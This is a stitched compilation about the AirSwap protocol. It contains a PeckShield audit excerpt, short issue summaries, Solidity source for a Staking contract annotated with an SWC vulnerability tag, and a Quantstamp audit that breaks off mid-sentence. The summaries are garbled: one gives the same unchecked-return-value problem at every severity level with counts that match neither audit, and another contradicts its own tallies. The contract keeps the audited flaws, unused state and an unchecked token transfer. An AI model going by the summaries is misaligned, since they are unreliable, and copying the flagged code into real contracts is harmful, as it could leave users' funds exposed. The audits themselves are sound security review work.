this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./interfaces/IStaking.sol"; /** * @title AirSwap Staking: Stake and Unstake Tokens * @notice https://www.airswap.io/ */ contract Staking is IStaking, Ownable { using SafeERC20 for ERC20; using SafeMath for uint256; // Token to be staked ERC20 public immutable token; // Unstaking duration uint256 public duration; // Timelock delay uint256 private minDelay; // Timeunlock timestamp uint256 private timeUnlock; // Mapping of account to stakes mapping(address => Stake) internal stakes; // Mapping of account to proposed delegate mapping(address => address) public proposedDelegates; // Mapping of account to delegate // SWC-Presence of unused variables: L38 - L52 mapping(address => address) public accountDelegates; // Mapping of delegate to account mapping(address => address) public delegateAccounts; // Mapping of timelock ids to used state mapping(bytes32 => bool) private usedIds; // Mapping of ids to timestamps mapping(bytes32 => uint256) private unlockTimestamps; // ERC-20 token properties string public name; string public symbol; /** * @notice Constructor * @param _token address * @param _name string * @param _symbol string * @param _duration uint256 */ constructor( ERC20 _token, string memory _name, string memory _symbol, uint256 _duration, uint256 _minDelay ) { token = _token; name = _name; symbol = _symbol; duration = _duration; minDelay = _minDelay; } /** * @notice Set metadata config * @param _name string * @param _symbol string */ function setMetaData(string memory _name, string memory _symbol) external onlyOwner { name = _name; symbol = _symbol; } /** * @dev Schedules timelock to change duration * @param delay uint256 */ function scheduleDurationChange(uint256 delay) external onlyOwner { require(timeUnlock == 0, "TIMELOCK_ACTIVE"); require(delay >= minDelay, "INVALID_DELAY"); timeUnlock = block.timestamp + delay; emit ScheduleDurationChange(timeUnlock); } /** * @dev Cancels timelock to change duration */ function cancelDurationChange() external onlyOwner { require(timeUnlock > 0, "TIMELOCK_INACTIVE"); delete timeUnlock; emit CancelDurationChange(); } /** * @notice Set unstaking duration * @param _duration uint256 */ function setDuration(uint256 _duration) external onlyOwner { require(_duration != 0, "DURATION_INVALID"); require(timeUnlock > 0, "TIMELOCK_INACTIVE"); require(block.timestamp >= timeUnlock, "TIMELOCKED"); duration = _duration; delete timeUnlock; emit CompleteDurationChange(_duration); } /** * @notice Propose delegate for account * @param delegate address */ function proposeDelegate(address delegate) external { require(accountDelegates[msg.sender] == address(0), "SENDER_HAS_DELEGATE"); require(delegateAccounts[delegate] == address(0), "DELEGATE_IS_TAKEN"); require(stakes[delegate].balance == 0, "DELEGATE_MUST_NOT_BE_STAKED"); proposedDelegates[msg.sender] = delegate; emit ProposeDelegate(delegate, msg.sender); } /** * @notice Set delegate for account * @param account address */ function setDelegate(address account) external { require(proposedDelegates[account] == msg.sender, "MUST_BE_PROPOSED"); require(delegateAccounts[msg.sender] == address(0), "DELEGATE_IS_TAKEN"); require(stakes[msg.sender].balance == 0, "DELEGATE_MUST_NOT_BE_STAKED"); accountDelegates[account] = msg.sender; delegateAccounts[msg.sender] = account; delete proposedDelegates[account]; emit SetDelegate(msg.sender, account); } /** * @notice Unset delegate for account * @param delegate address */ function unsetDelegate(address delegate) external { require(accountDelegates[msg.sender] == delegate, "DELEGATE_NOT_SET"); accountDelegates[msg.sender] = address(0); delegateAccounts[delegate] = address(0); } /** * @notice Stake tokens * @param amount uint256 */ function stake(uint256 amount) external override { if (delegateAccounts[msg.sender] != address(0)) { _stake(delegateAccounts[msg.sender], amount); } else { _stake(msg.sender, amount); } } /** * @notice Unstake tokens * @param amount uint256 */ function unstake(uint256 amount) external override { address account; delegateAccounts[msg.sender] != address(0) ? account = delegateAccounts[msg.sender] : account = msg.sender; _unstake(account, amount); token.transfer(account, amount); emit Transfer(account, address(0), amount); } /** * @notice Receive stakes for an account * @param account address */ function getStakes(address account) external view override returns (Stake memory accountStake) { return stakes[account]; } /** * @notice Total balance of all accounts (ERC-20) */ function totalSupply() external view override returns (uint256) { return token.balanceOf(address(this)); } /** * @notice Balance of an account (ERC-20) */ function balanceOf(address account) external view override returns (uint256 total) { return stakes[account].balance; } /** * @notice Decimals of underlying token (ERC-20) */ function decimals() external view override returns (uint8) { return token.decimals(); } /** * @notice Stake tokens for an account * @param account address * @param amount uint256 */ function stakeFor(address account, uint256 amount) public override { _stake(account, amount); } /** * @notice Available amount for an account * @param account uint256 */ function available(address account) public view override returns (uint256) { Stake storage selected = stakes[account]; uint256 _available = (block.timestamp.sub(selected.timestamp)) .mul(selected.balance) .div(selected.duration); if (_available >= stakes[account].balance) { return stakes[account].balance; } else { return _available; } } /** * @notice Stake tokens for an account * @param account address * @param amount uint256 */ function _stake(address account, uint256 amount) internal { require(amount > 0, "AMOUNT_INVALID"); stakes[account].duration = duration; if (stakes[account].balance == 0) { stakes[account].balance = amount; stakes[account].timestamp = block.timestamp; } else { uint256 nowAvailable = available(account); stakes[account].balance = stakes[account].balance.add(amount); stakes[account].timestamp = block.timestamp.sub( nowAvailable.mul(stakes[account].duration).div(stakes[account].balance) ); } token.safeTransferFrom(msg.sender, address(this), amount); emit Transfer(address(0), account, amount); } /** * @notice Unstake tokens * @param account address * @param amount uint256 */ function _unstake(address account, uint256 amount) internal { Stake storage selected = stakes[account]; require(amount <= available(account), "AMOUNT_EXCEEDS_AVAILABLE"); selected.balance = selected.balance.sub(amount); } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: 